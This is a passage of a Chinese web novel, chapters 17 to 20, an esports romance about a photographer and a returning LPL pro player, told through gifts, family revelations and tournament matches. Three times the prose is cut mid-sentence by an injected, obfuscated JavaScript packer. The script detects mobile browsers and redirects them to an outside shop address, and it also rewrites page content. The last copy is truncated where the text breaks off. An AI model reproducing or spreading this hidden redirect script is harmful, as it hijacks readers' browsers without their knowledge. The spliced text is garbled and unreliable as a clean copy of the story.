索德的目光垂落,正好撞进她仰起的眼睛里。那双眼睛湿漉漉的,闪着一丝光亮。 他忽然想起小时候家里养的那条小狗,也是这样望着他。眼神永远清澈干净,看向你时,眼里只有你一人。 他没有开口说话,只是默默抬手,将手中那个包装精致地礼品盒递到她面前。 许恋显然有些错愕,眼里茫然:“这是什么?” “生日礼物。”说完,他也没等回应,便转身朝来时的方向回去了。 “谢谢……” 留下愣神的许恋捧着他塞来的礼品盒,久久地没动。 “不打开看看?”樊榆雅的声音让她恍然回神。 许恋深吸一口气,手指一拉,解开了深蓝色的缎带,掀开盒盖。 盒子内,一个精致地金属光泽的微缩模型静静地躺在那。 许恋一眼认出来,这是温哥华盖士镇上著名的蒸汽钟。上面的指针、钟面罗马数字的细节与她做攻略时看到的照片一模一样。 其实在来温哥华之前,她也是有认真做攻略想去哪玩。 只是那天之后,她没了那样的心情。 她坐在位子上思考许久,才拿出手机,找到索德的微信对话框。 L:【谢谢你的礼物,我很喜欢。】 虽然不明白他为什么突然送自己生日礼物,但……她很开心。 这几天阴霾的情绪,在此刻有了转多云的迹象。 他这一次消息几乎是秒回。 D:【你不好奇我为什么送你这个吗?】 L:【为什么呢?】 D:【因为,那天我们在这附近。】 紧接着,下一条信息跳了出来。 D:【只是觉得,你或许会想念那天。】 许恋盯着最后一句话,视线逐渐模糊起来。 怎么会和他们第一次见面一样。她明明什么都没说,他却总能误打误撞,说一些直戳她心底的话。 仿佛读懂了她那天的悲伤。 强压几天的情绪,此刻又在心里冒出了酸泡泡。 “各位旅客,请您再次确认电子设备已关闭或调至飞行模式……”空乘温柔地广播声响起。 许恋最后看了一眼手机屏幕上那两句对话,然后轻轻按下了侧面的熄屏按钮。 她将蒸汽钟的模型小心盖好,抱在怀里。飞机开始缓缓滑行,加速。 - 下飞机过廊桥时许恋下意识向前张望,寻找那个熟悉的身影。 按理说就算走VIP通道,在航站楼内通道也能看见他。 可直到拿到行李也没有见到他。 身后,是DBG嬉闹的大部队。 “Destin!”Sea出现在她们面前。 许恋扫了眼他们这一大波人,略过付翊均时顿了一下。 接着扫过管理层和领队李航的身影,可是依旧没看见他的身影。 她装作不经意地问:“索总和Dexter呢?” “他们呀,他们换乘到星沙的航班,回老家了。” “啊?为什么?” 随着世界赛的结束,对选手们来说中间有一段时间的休假,但这段时间的假期却是管理层最忙碌的时候。 要组建下一个赛季的强劲的新阵容,就要抢先和优秀的选手接触。 索言这么在意DBG俱乐部的发展,按理说应该一直跟进组建新阵容的事。 DBG的队员互相看了看,有些犹豫。 最终是Titi开口:“嗯……应该是家里有事。” “好吧……” 许恋垂眸,有些失落。这样的话,那得有一个多月见不到他了。 樊榆雅揽过她肩,将两人的行李丢给付翊均。 推着许恋向前走,“走吧走吧,我们去吃好吃的小蛋糕吧!” 她今天下午没课,干脆决定明天再回京市,今天就在沪市好好玩半天。 付翊均任命的跟在她们身后。 甜品店内。 许恋正对面坐着是付翊均。 她漫不经心地戳着甜点,深吸一口气,再开口:“付翊均。” 语气是从未有过的严肃。 樊榆雅不自觉坐起身,侧头看向她。 “怎么了?”付翊均抬头。 “其实我早就想问。” 许恋放下手中的勺子,直视他的眼睛:“你是不是和我妈有联系?” 她此刻的眼神,有着付翊均全然陌生的质问与锋利。 其实也不是全然陌生。 他们第一次见面时,她就是这样看着他的,只是很久没再见过。 面对她,他无法撒谎。 付翊均垂眸,先一步移开视线,“是。” 得到肯定回答的许恋整个人空了一瞬。 不止她,身边搞不清楚状况的樊榆雅也怔住了。 “你怎么知道?” 许恋轻笑一声,心里想的是还不如不知道呢。 前几天在温哥华的那顿晚餐。 许恋倾身去拿纸时,他的屏幕亮起。一条新消息弹出,头像里熟悉的面容抓住了她的视线。 是许湘琅。 许阿姨:【其实她在,对吧?】 她恍然记起更久以前。差不多是两年前,他们一起用手机看比赛时,付翊均的手机突然弹出来自于加拿大的电话。 他当时慌乱地挂了。 结合一想,她就猜到了。 困惑了她几天的事情,得到答案后,没有想象中的情绪波动大。 一种微妙而又复杂的情绪席卷她的全身。 有一瞬间,她忍不住想,妈妈是不是还在意自己?可下一秒又觉得,如果真在意,为什么从来不直接来找自己? …… “从什么时候开始。”她的声音平静而酸涩。 “你十八岁那天。” “她嘱咐我,要好好地照顾你。” 许恋扯了扯嘴角,这真是挺好笑的一件事。 “恋恋,其实……” 他看着她灰败下去的眼神,叹了一口气,换了一个切入口,“她一开始并不是想离开你。” “她当时的男朋友,也就是现在的丈夫。” 许恋几乎立马接上那个男人的名字:“罗清。” 依稀记得他是一家私企的董事,年龄虽过半百,却拥有着那种保养得当的清贵之气。 “对。” “他当年,生意上遇到一些必须离开才能解决的问题,很急。” 许恋微微抬眼:“卷钱跑了?“ 付翊均默认了,没去纠正她的用词。 “但你妈妈一开始并不是想跟随他,她想过要和他分手。” “可后来她发现,她怀孕了。” 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“所以这一次。”付翊均看着她凝固的表情,一字一句地说,“她发现自己怀孕,她不敢想,如果告诉你,你会做出什么更偏激、更无法挽回的反应。” 许湘琅真的挺了解她。 十八岁的许恋肯定会大闹一场,她当时对她的占有欲强得可怕。 她一时也不知道,十八岁的自己,比起许湘琅的离开,和拥有一个同母异父的弟弟,到底哪件事更让她难以接受。 得知许湘琅离开的真相,许恋没有想象中的憎恨,也没有想象中的释怀。 唯有感叹,她竟然是从付翊均这里,知道自己妈妈的故事。 好像她的人生只是她故事里的一个注脚,一个不重要的标点符号。 她所有的情绪忽然没了着落,顿时觉得,挺没劲的。 “好,我知道了。” 她重新拾起勺子,不再看他,一口一口地吃起蛋糕。 付翊均想解释:“我之所以瞒着也是……” “你不用解释。” “我知道,你是为我好。” 她抬起眼:“谢谢你,付翊均。” 付翊均在许恋的心中不止是一个简单的竹马形象,他大多时候担当了一个类似于哥哥的角色。 即使他们第一次见面并不美好,即使后来在同一个班级的时候,许恋总是有意无意膈应他。 可他依旧保持良好的教养,滴水不漏的解决许恋制造的麻烦。 她常常感觉自己一拳打在棉花上。 后来,班上的同学孤立她,说她是没有爸爸的野孩子,给她贴上各种各样的标签。 只有他,朝她伸向手。他拉起躲在角落里哭泣的她,替她擦掉眼泪,“不哭了。” 然后带着她去给老师告状,以自己的方式将她不美好的童年变得美好了一些。 后来她才知道,他没有妈妈。 这个“没有妈妈”和她的“没有爸爸”不一样。许恋的爸爸只要去找就还能见面,但是付翊均的妈妈,在生他的时候就羊水栓塞死掉了。 他从来没见过她。 之后的无数个岁月,许恋想,她人生中做过最后悔的一件事,大概就是拆散了自己的妈妈和他的爸爸。 樊榆雅不免担心,她握住她的手:“恋恋,你没事吧?” 许恋一向都是有情绪就摆在脸上,她现在的面无表情,反倒更让她担忧。 许恋扯了扯嘴角,“我现在也想尽力地扬一个笑说我很好,但我一时半会做不到。” 她喝了口奶茶,“不过心情也没你们想象中的那样糟。” 就在这时,桌上许恋的手机屏幕忽然亮起。 是索德发来的消息。 D:【那个钟其实是可以走的,我忘记装了。】 D:【刚刚看见零件才想起来。】 D:【等我回沪市帮你装。】 她看着屏幕上的消息,原本压在心口的重量蓦地一轻。 嘴角微微弯起一个小弧度。 “真的,”她听见自己的声音平稳,视线一一对上两人,“现在真没事了。” 她现在有好多人爱她,也有她想要去爱的人。 许湘琅,已经不是她生命中的唯一了。 18. 第十八个恋想 午后的阳光,从梧桐树间漏下来,碎碎的,铺了一地的金黄。 一阵一阵的桂花香在许恋鼻间萦绕。 许恋今天穿了一条白色长裙,外头套了一件天蓝色毛衣,站在其中一颗梧桐树下。 “你真的要将这笔钱全都捐掉吗?”手机那头,陆知乐的声音透过话筒沉闷闷地传来。 许恋仰起头,感受着阳光洒落在她脸上的温暖。 “嗯,我确定。” “就捐给你们发起的慈善基金会吧。” 陆知乐和他高中的两个好朋友,在大学毕业后不久创建了一个慈善基金会。 比起将这笔钱捐给其他人或其他的慈善机构,她更相信他们。 “行,我尊重你的决定。” 他那边顿了一瞬,接着说:“之后要是缺钱用,一定要找我和大姨说。” “知道吗?” 许恋垂眸,“我会的。” “好,那我去处理。” “谢谢哥。” “嘟”的一声,通话结束。 许恋捐掉的这笔钱,是许湘琅三年前留给她的那笔。 从小,许湘琅在物质上从不缺她的。在许湘琅离开前,许恋囤下的零花钱存款已达五位数。 并且十八岁开始,她靠着索德那组图带来的热度,接拍网红、小明星,已经能做到自己赚钱自己花。 甚至后来,陆知乐找她拍电影宣传照,将她的名气又抬上了一个高度。 她从未缺过钱,这笔钱自然也没动过。 原本是想当做最后的念想。 但那天得知罗清事后,她上网调查了一番。 罗清原本是某家地产公司的董事。 行业萎靡之前,他就开始往境外转钱。等公司暴雷那天,账上的钱已经全被他转移到了境外账户。 几千民农名工的苦命钱,他一并带走了。 虽说许湘琅给她留的这两百万肯定是她自己做生意赚来的。 但许恋就是觉得膈应。 更何况,她心里想的是:她不要我,那我也不要她的钱了。 她深呼一口气,正觉着心里一轻。 “许恋。” 有人叫她。 她循着声音回头。 人群中,有一人向她走来。 索德今天穿着一件灰色卫衣外套,搭配着牛仔裤。很基础款的穿搭,但他穿出了另一种风味。 他们今天相约在许恋学校附近的咖啡馆,帮她安装蒸汽钟模型上的时钟。 待他走近,额角上一个细小的疤痕进入许恋的视线,她紧紧地盯着那。 以前,没见过的。 他笑着问:“等很久了吗?” 许恋摇摇头,“没有。” “那我们进去吧?” 咖啡店是索德选的。 即使是在许恋学校附近,她却也是第一次来。 推开门的瞬间,屋檐挂着的风铃轻响。推门而入先看见的是几排书架,还有绿萝摆放在书架边。 文艺的氛围很浓厚。 索德的手抵着门框,侧身等她先经过。 “欢迎光临。”前台的店长扬起笑脸。 “一楼是看书买书的,喝咖啡在二楼哟~” 他们随着服务员的指引在二楼窗边入座,阳光斜斜地从窗外照射进来。 点好饮品后,许恋犹豫了片刻。 盯着他额角上新增的疤痕,没忍住,指了指自己的额角问他:“你这里怎么了?” 他顿了顿,随即抬手摸了摸自己的额角,“前段时间不小心受伤了。”他笑了笑,“很明显吗?” “还好。” 只是她把关于他的所有记得太仔细了。 索德抬了抬手指向她怀里,手上那枚素银戒指在阳光下闪了一下。 许恋的目光在他修长的手指上停留了一瞬,第一次见他手上带上装饰物。 他戴戒指,还怪好看的。 索德饶有兴味地盯着她怀里的盒子,又勾了勾手,“你要抱到什么时候?” 许恋“噌”地一下,脸颊的温度飞速拔高。 都怪他,他身上随便哪点都能让她转移注意力,一下子忘记来今天见面的理由。 默默地将怀里一直抱着的装着蒸汽钟模型的礼盒递过去。 索德笑着接过后,埋头拿着工具认真组装起电池。 许恋看着这样的他,内心无限满足。 有的人就是这样,他一出现,你的眼里心里都会只有他。 她撑着头,想了很久才问出藏了好多天的心事,“你为什么想送我生日礼物?” 他装电池的手一顿,抿了抿嘴,先说:“我两次在你生日遇上你,你都在哭……” “就想送点东西,让你开心开心。” 他忽然有些好奇,抬眼看了她一眼又问:“你之前生日都会哭吗?” “不会……” 其实有很多次。 可她不想让他觉得她很可怜,所以撒了小小一个谎。 “你说怎么那么巧。”他笑了一下,“偏偏两次都让我遇上。” 许恋一时没说话。 他静了一瞬,电池装好了,但后盖他迟迟没盖上去。 他垂眸,认真说:“所以我会想,是不是因为我的出现,才让你生日那么难受。” “不是的。” 明明是因为你的出现,她才觉得生日没那么难过。 可她不敢在此刻和他说这句话,怕把他吓跑。 “为什么是蒸汽钟?”她截断了自己心里的念头,语气都不自觉地加快:“还有那句话……” 他没答。 只是抬起眼看她,目光直直地落进她眼睛。 “你收到这个礼物的时候,开心吗?” 他的目光太真挚且直白,许恋不自然地先别开脸。 “当、当然了。”她又一次在他面前紧张得有些结巴。 “我不是第一时间就说,我很喜欢、我很开心吗?” “那就够了。” “让你开心就是我送这个礼物的目的。” 真正的原因,其实他也不知道。 不知道为什么想要送她礼物,不知道为什么想要她开心。 索德将手中的蒸汽钟模型立起,转了个面。 “喏。” 他的嘴角轻轻地弯了一下,“时间开始流动了。” …… 索德晚上还要打Rank,两人没在咖啡馆待多久。 在他送她回学校的路上,许恋低头看着两个并行的影子,没忍住好奇,问他:“你大学是在哪读的?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206460|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京市。” 许恋微微一怔,竟然是京市……他们初遇的城市,也是她不愿再回去的城市。 “不过现在休学了。”他侧头看向她。 原来是休学了。那天在大巴车上,她就很好奇,他如果还是大学生的话,怎么能重新打职业。 毕竟职业选手每天都需要大量Rank,还有各种训练赛,以此保持手感。 索德垂眸,看着两人正在行走的脚步,突然说:“谢谢你。” 面对他的道谢,许恋一懵。 他笑了,脑海里回想出征仪式那天,她大巴上给自己讲的那段话。 “其实我一直很犹豫。”他停住脚步,侧身面向她。 “我害怕重来一次依旧失败。之前我所有说我要复出的言论都只是在逼自己,把自己逼到不得不复出,强迫自己放弃父母给自己选择的道路。” 原来……他也不是想象中的那样勇敢与果断。 日落的光落在他精致的脸颊上,许恋看着他,呼吸都不自觉放缓了。 “但是你那天出现,在车上和我说的那样一段话。” 他垂下眼,看着她被风吹起的头发,“不用像你说的等到十年之后的某个夜晚。” 他话语一顿,“这三年以来的许多个深夜,我的脑海都在回忆那一天,都在后悔那一天的失误。” “所以,这一次,我完全切断了后路,坚定了自己的内心。” “我想赢下比赛,站在金色的雨里,感受台下的掌声。” 不是只有他说的话能引起她内心的波澜,她说的话,对他亦是如此。 - 许恋回到宿舍,坐在座位上长长地舒了口气。 她的桌面两边堆着书和各种IP的毛绒挂件,将蒸汽钟放哪都不显得特殊。 要不还是收起来吧? 可是好想天天看看它。 因为,这是索德送她的第一个礼物。 她正这样如此纠结着,身后路过的室友刘琴瞥了她一眼。 “恋恋?你又买啥了?” 许恋除了相机,她的第二大烧钱爱好就是收集各大IP的毛绒玩具和挂件。 她国庆已经带了很多回槠洲,可这才没过多久,桌面上又堆满了。 刘琴视线落在她手中的蒸汽钟模型,惊叹道:“立体模型?这可不是你平时的风格啊?” 另外两个室友被这句话吸引,视线往许恋这探。 许恋挠了挠头,问了另外一个问题。 “琴琴,如果没见几面的人送你生日礼物,是什么意思啊?” 刘琴眼睛一眯,直找关键点问:“异性?” “嗯……就是你们其实交集也不多,但都是很记忆深刻的时刻。” “不熟的人?” 也不算不熟吧,她和他在某种程度上,很了解对方。 “也不是……” “他对你有意思。” 刘琴就这样直晃晃地将这句话说出来。 其实许恋在此之前问过樊榆雅和舒愿。 她们的回答也是大差不差,但她自己总是下意识反驳。 只觉得他是在可怜自己又或者是心疼。 许恋垂下目光摇了摇头。 没再说话,只是将蒸汽钟放回了礼物盒里。拉开抽屉,放在了最深处。 19. 第十九个恋想 第二天是LPL转会期的第一天。 DBG是最早公布完整阵容的俱乐部,上单是LPL一阵选手Open,据说索言花了大价钱买来的。 中单和打野依旧是原阵容的Sea和Attachment,AD和辅助则是Dexter和Heng。 大部分队伍都是最后一天公布大名单,而DBG第一天就直接公布,就好像在向全世界炫耀Dexter加入了DBG。 索德没过多久转发了官宣微博,并附上了许恋之前拍的他与Heng的背影合照。 【这一次一定可以。】 许恋是在特别关注的提醒下看到的这条微博。 她随手点开评论,乐了。 1楼:第一! 4楼:竟然是真的! 8楼:这个男人,真的回来了!! 24楼:路过,好磕。 37楼:新赛季加油!!赛场见~ 53楼:这么多年了,D大哥还是这么会麦 …… 过了会,她微信戳了戳那个一只小狗的头像。 【感谢费结一下?】 他秒回:【?】 索德或许是想到了那种照片,他又接着发来一条信息:【那我请你吃饭。】 其实原本许恋只是想和他开个玩笑,但是他饭都递嘴边了,没有不吃的道理。 L:【成交!】 索德忽然想起什么。 D:【还有个问题。】 L:【什么?】 D:【评论里为什么都说我“好会麦”?】 许恋看着这条消息,愣了会。 她想象了一下索德皱着眉、一脸认真问出这句话的样子,忍不住笑了。 L:【你是真不知道还是装的?】 D:【真不知道。】 索德的人生里,除了游戏就没有其他的娱乐活动,连剧都不追的,许多网络热词根本不知道。 许恋打字:【因为你和Heng的cp粉很多啊。】 cp粉,更是一个陌生的词。 D:【cp粉是什么?】 许恋觉得这人大概真的活在2G时代。 L:【Coupling,配对的意思。就是,有人觉得你们俩在一起很】 她中断了一下。 很什么呢?很配?很甜?很有氛围感? 她忽然不想说得太直白。 L:【很默契。】 D:【噢。】 此时,许恋的消息栏弹出另一条消息。 刘力:【你愿意来拍第一赛段的定妆照吗?】 她愣了两秒。 LPL每个赛段开始前都要进行定妆照拍摄,时间大约是在赛段前的几个星期内。 下一年的第一赛段在明年一月中旬,那定妆照大概在一月初左右。 没有犹豫,她马上回:【愿意!】 能多见索德一次的机会,怎么能放过。 不过。 比定妆照先来的是德玛西亚杯,它相当于一个新赛季前的预热赛事。 近些年,LPL的阵容流动性愈发大。以前分为春夏赛季时,转会期基本就一次,除非磨合得特别差才会在春夏赛季交接时换下队员。 而赛制改革后,春夏赛季被分为了三个独立的赛段。这意味着,俱乐部调整阵容的操作次数会更加频繁。 在此背景下,德杯反倒显得更有看点了。 它成为了各支队伍在阵容更迭后、赛段间隙中,为数不多能够真正检验战队新阵容磨合的实战赛事。 同时,这也是Dexter复出后的第一个赛事。 在DBG真正官宣Dexter复出后,一大批粉丝回归。 主要是他那一年的操作实在过于亮眼,让人念念不忘,不少人称他为“电竞白月光”。 再加上营销号开始营销“电竞圈最帅选手回归”的词条,又吸了一大批颜值粉。 Dexter刚复出,热度几乎要超越LPL近三年的顶流Max。 德杯全程分为线上小组赛、线上淘汰赛和线下总决赛。 小组赛第一天,就有DBG对战VTX的比赛。 许恋早早就约好舒愿,订了个电竞酒店,守着屏幕等比赛开打。 “我怎么还有点紧张?” 舒愿咔擦撕开一包薯片,语气淡定:“正常。” “我第一次看Heng上场打比赛也很紧张。” “现在怎么不紧张了?” 舒愿扯了扯嘴角,“拜托,我都看了多少场他的比赛了。” 许恋捏起一片薯片,“那我也看了很多场索德的比赛啊……” “你那都是已经知道胜负去看的。”舒愿无语,“再者说,你n刷的比赛,全是他赢的局。” 屏幕一亮。 “来了来了。”许恋立刻坐直。 屏幕里的选手直接进入BP环节。 画面转到Dexter时,舒愿盯着看了两秒,没忍住:“我怎么感觉Dexter的摄像头都比别人清晰。” 弹幕早就疯了。 弹幕1:【哪队能赢我看脸就知道了。】 弹幕2:【我靠,DBG怎么这么多帅哥?】 弹幕3:【DBG今年是看脸选的选手吗?】 弹幕4:【Dexter帅我一脸】 …… 第一局DBG是蓝色方,一楼Open直接锁了Dexter的本命英雄:戏命师·烬。 锁定的瞬间,许恋下意识捂住嘴,震惊地瞪大双眼。 直播间解说席的两位解说安静了整整两秒。 “我没记错的话,Dexter第一次登场LPL的舞台,选的就是烬。今天,他回来了,依旧是烬。” 另一个解说接话:“哎,我懂了!Dexter是请神,请当年的自己出山。” 弹幕也喷涌而出: 弹幕1:【???】 弹幕2:【卧槽我没看错吧】 弹幕3:【起猛了,看见Dexter拿烬了。】 弹幕4:【高能预警——】 …… 两局赢得毫无意外。 第一局后期,Dexter一架狙,对面就开始逃窜,第四发子弹每次狙中都有人头落下。 第二局DBG换了个稳扎稳打的阵容,Dexter选了新AD英雄芸阿娜,他线上压刀,团战收割。对面甚至没撑到远古龙刷新。 【恭喜你!!拿下首胜!】 直播刚切回解说席画面,许恋就已经拿出手机给索德发消息了。 舒愿回头看了她一眼,见她满心期待的样子,叹气:“他一时半会回不了你,他们得复盘一下。” “赢了也要复盘吗?” 许恋是因为索德才开始了解电竞,因为他才开始玩英雄联盟。但……很菜,理解程度不算太高,堪堪看得懂比赛。 和舒愿这种差点成为职业选手的人比不了。 “当然了。” 舒愿凑近和她分析,“你别看刚刚那两把是碾压局,但问题也挺多的。Dexter比起三年前明显稳健了很多,但Heng……” 别说哈,舒愿对游戏的理解程度是真高,说得头头是道。 两人从今天的比赛聊到了等下吃什么,然后许恋的手机才提示收到消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206461|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她飞速拿出来看。 D:【你看了?】 这是什么问题,这人怎么还是一副不信她是他粉丝的样子。 L:【我是你粉丝啊,当然得看!】 索德看到这句话的时候,嘴角难掩上笑意。 “下一场比赛一定要有纪律性,记住了吗?”教练Leo回过头又叮嘱一句。 瞥见Dexter那春风拂面的笑容,他一顿,“Dexter,你就维持今天的状态,不要飘,知道吗?” 作为教练,Leo是很欣赏Dexter这类天赋选手,从三年前Dexter登场他就有关注过他。 只不过顶级的天赋选手总有一些缺陷,有的过于自信,有的觉得自己有天赋就不努力,最后成为了伤仲永。 索德是前者。 他三年前世界赛的失利之一,就是误判了自己的伤害。带着少年的傲慢与自负,自信算好伤害回头后,对面AD却残留一个平A的伤害,没有死。 后来他被对面赶来的打野追击,为那一局的失败奠定了基础。 记得前段时间刚见面时,Leo想起这件事,问他:“现在的你还会这样吗?” 索德先是沉默,后来释怀地摇了摇头:“我不会再这样自信回头了。以前我相信的是自己的手感,现在我相信数字。” 人总是在失败后才成长。 Leo很满意现在的Dexter,他没了十八岁的自负,天赋依旧在,还多了一份对打职业额外的珍视态度。 更重要的,他有一种不拿下冠军不甘心的心气。 这样的他,正是刚刚好。 付翊均盯着手机里的三人群聊,往上滑了两三下,只有他和樊榆雅的头像一来一回的交流着。 而许恋…… 他偏过头,索德的手机正平铺在桌上,因为和教练聊天忘记熄屏。 正是一个聊天界面。 他所熟悉的那个头像,正给索德发着消息。 【我真的是你粉丝啊!!!】 许恋直接切到B站,截图自己的收藏夹。 【这个收藏夹里全是你!】 付翊均收回视线,心里散发着一种无端的烦躁。 索德和Leo聊完,低头看手机的时愣了一下。 他第一次,一下子收到这么多条消息。 一条条看去,嘴角慢慢翘起。 点开许恋发的那张截图,里面都是他比赛的视频。视线却略过那些视频,停在了左上角,这个收藏夹的名字。 正准备回她。 “Dexter,帮我拿把水杯递过来。”坐在他旁边的Heng开口说道。 刚刚他们围聚一团复盘,Heng把水杯留在了索德的另一边。 索德探身去够水杯,另一只手按住语音条。 给她发了两条语音过去。 原本过了这么会没收到回信的许恋是有点失落的,她还在反思是不是自己太热情了。 那两条语音就发了过来。 她的心,又快速跳动起来。 第一条,他声音从手机传过来,低低的,还带着点笑。 “为什么我是一把锁啊?” 许恋愣了一下,这才反应过来,自己刚刚把给他的特殊符号泄露出去了。 一下子,热度窜升到脸颊。 然后第二条,“是因为我的姓吗?” 是。 也不是。 她把手机贴在耳边,又听了一遍。 其实是因为很久以前她发现,他是“锁”,自己是“链”,他们合在一起是“锁链”。 想要像锁链一样,和他紧紧地连在一起。 20. 第二十个恋想 DBG一路连胜,走到了德杯半决赛的舞台。 今年德杯的半决赛场馆在苏市举行。容纳两千人的场馆,在半决赛开始的第一天几乎都坐满了。 场馆的灯光开始闪烁。 索德站在候场通道里,一门之隔的外面是正在热场的主持人。 “让我们有请双方选手登场!” 通道的门开了。 他随着队友在舞台上站稳时,台下的欢呼声如雷贯耳地响起,呼喊着他的名字。 身旁的主持人走着流程,一一介绍双方对阵选手,语速快而激昂。 轮到下路时,声音明显扬高了一个度。 “欢迎双方下路选手——DBG:Dexter!CCW:Tring!” 索德深吸一口气,双手抬起向台下的观众挥手,随后将双手藏在身后。 在观众看不见的背后,他默默将手攥成拳头又松开。 不知何时,他的掌心泛起了一丝潮意。 很久没有站上这个舞台,比自己预想中的还要紧张。 他突然想起自己十八岁第一次站上比赛舞台。 当时的紧张是因为没有经历过,那是一种对新事物自带的不安。而现在的情绪,更多的是因为可以重新追寻自己的梦想,那种心底的期待与激动让他不自觉地绷紧神经。 索德扫过台下的观众,很久没有听见这么多人呼喊自己的ID,他想要记住这一刻。 视线收回时,就这样对上台下正在拍摄的许恋。 她正举着镜头,对准他的方向。 因各种情绪而波动的心,突然就安定了下来。 许恋的取景器里,那双眼睛突然对准自己的镜头,她心下一颤。 下一秒,她把脸从镜头后探出来,无声地对他做了个口型:加油。 索德勾唇笑了笑,转身在自己的比赛位上坐下。 比赛进入bp环节,导播画面正切到实时直播选手画面的摄影上。 这正是许恋捕捉现场观众的画面的时候。 她举着相机扫过人群,画面却在扫过某一处时,定住在了那。 江可心。 她也来看Dexter的比赛了…… 画面里,她戴着口罩坐在第三排的过道处,旁边是两个与她同龄的男生,偶尔会说上几句话,似乎是认识的。 许恋愣了很久。 直到陈椰出现在她身旁,伸手在她镜头前晃了晃,“看什么呢?” 她才回过神。 自己都没意识到,已经盯了那个方向看了这么久。 手里一直攥紧相机的力道,松了几分。 他说她不是她女朋友,但也没说他们两人的关系到了什么地步…… 许恋垂了垂眸,知道他们的绯闻是假的,可却还是会不可自控地好奇他们之间的所有。 她怎么又这样了。 这种强大的占有欲,对所有人来说都是一种压力。 看来,过年回去得找李医生聊聊天了。 台上,比赛正式开始。 许恋在舞台上为比赛中的选手捕捉精彩瞬间。 她拍选手是很公平公正的,每个选手大约的单独拍摄时间都大差不差。 以前程泷在的时候,他会多分一些时间拍摄有流量、比较知名的选手。而那些没有成绩、不出名的选手常常一笔带过。 许恋之前对他的这种行为感到十分不齿来着。 但是,现在Dexter上场了。 虽然陈椰给她吩咐的是主拍摄CCW战队,可她人在曹营心在汉。 一边无法自制地,一次又一次把镜头转向他。一边又在内心谴责自己,强迫自己将镜头转向其他人。 进入游戏的索德与往常的所有时刻都不一样。 一般来说,一个队伍里的指挥常常是辅助或者打野位。 DBG战队定的队长是Heng,但真打起比赛来,大家更多的是关注Dexter说的话。 阵容什么也都围绕着AD位进行比赛。 “Attachment,你等会刷到六级了下来抓一波,AD没闪。” 索德的声音一出现,其他队员便会停下话语,安静地听他指挥。 在赛场的他,仿佛又变回了三年前的那个少年。 重逢后,一向看不出什么情绪的双眼,此刻亮闪闪的发着光。 就像三年前,他每一次上场,眼神都是这样:专注、从容,带着一点谁都不服的傲气。 第一把DBG围绕索德拿出的芸阿娜组建阵容。 台下的观众,会随着Dexter的走位、预判、各种极致操作欢呼。 没有任何意外的,第一局DBG几乎是碾压CCW拿下比赛。 但同时,他们也暴露了自己队伍的短板——四保一的阵容,只要AD发育不起来,那就会输掉比赛。 于是接下来的第二、三把,CCW死盯Dexter,一点发育的机会也不给他,DBG连输两把。 后台DBG休息室的氛围凝固得许恋不敢贸然闯入。 她默默地等候在门口,想等他们出来时给他们加加油。 视角余光里,许恋瞥见陈椰的身影拐过前方的拐角。 许恋眼底一亮。 通过这段时间的接触,她发现陈椰虽然不爱笑,常常摆着一张严肃的脸。但她其实是一个外冷内热的人,会默默替她分担工作,还经常给她分享一些摄影经验。 第四局比赛开始还有段时间,许恋追上她的身影,想问她几个关于摄影的问题。 陈椰去的是一个几乎不会有人路过的拐角,许恋刚想扬声叫她的名字。 却在她刚拐过那个拐角时,停住了脚步。 因为通道深处不止站着陈椰一人,还有一个陌生男人的背影。 他的队服后面的ID告诉了许恋他的身份——CCW战队打野选手Max。 现在LPL的顶流选手,同时也是Dexter三年前的队友。 许恋收回上前的脚步,正准备转身。 就听见陈椰冷冷地声音响起,带着从没听过的冷嘲热讽说:“怎么?你现在喜欢人妻了?” 话音落地的瞬间,许恋本能的缩回他们看不见的角度。 她捂着耳朵,一边给自己洗脑“我什么都没听见”一边踮着脚,悄无声息的溜走了。 直到回到DBG休息室门口时,她的心跳还没缓过来。 虽然说电竞圈什么瓜都有,她也吃过不少,可亲自听到现场版的瓜,这还是头一回。 这也太刺激了。 结合之前的事情,她此时才明白,陈椰在世界赛,包括今天,将两人职责划分到队的举动,不是因为她的工作习惯。 她只是,不想接触Max。 许恋还在为刚刚所撞见的事震惊,身侧DBG休息室的门突然开了。 付翊均走在最前面,他的视线落过来的时候,许恋已经条件反应地弯曲眼睛。 “泡芙,加油呀!!”她的声音带着上扬的语调,脆生生的。 听着,心情就会变好。 只是许恋的目光并未在他身上停留太久,她加油的话音刚落,脑袋就朝他身后探去。 付翊均的脚步顿了顿,叹了口气,便向舞台走去。 DBG的队员一个接一个从门里走出来。 她的笑容一直挂在脸上,机械地朝每个人挥手,嘴里机械地重复着“加油”。 Sea看到她时挤眉弄眼,“Destin,今天有没有把我的风华绝貌拍出来啊?” 许恋想起相机里上百张的索德,瞬间有些心虚,“当然了……” 直到最后一个。 索德走出来的时候垂着头,身高差让许恋能看清他脸上凝重的表情。 许恋的心也随着向下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 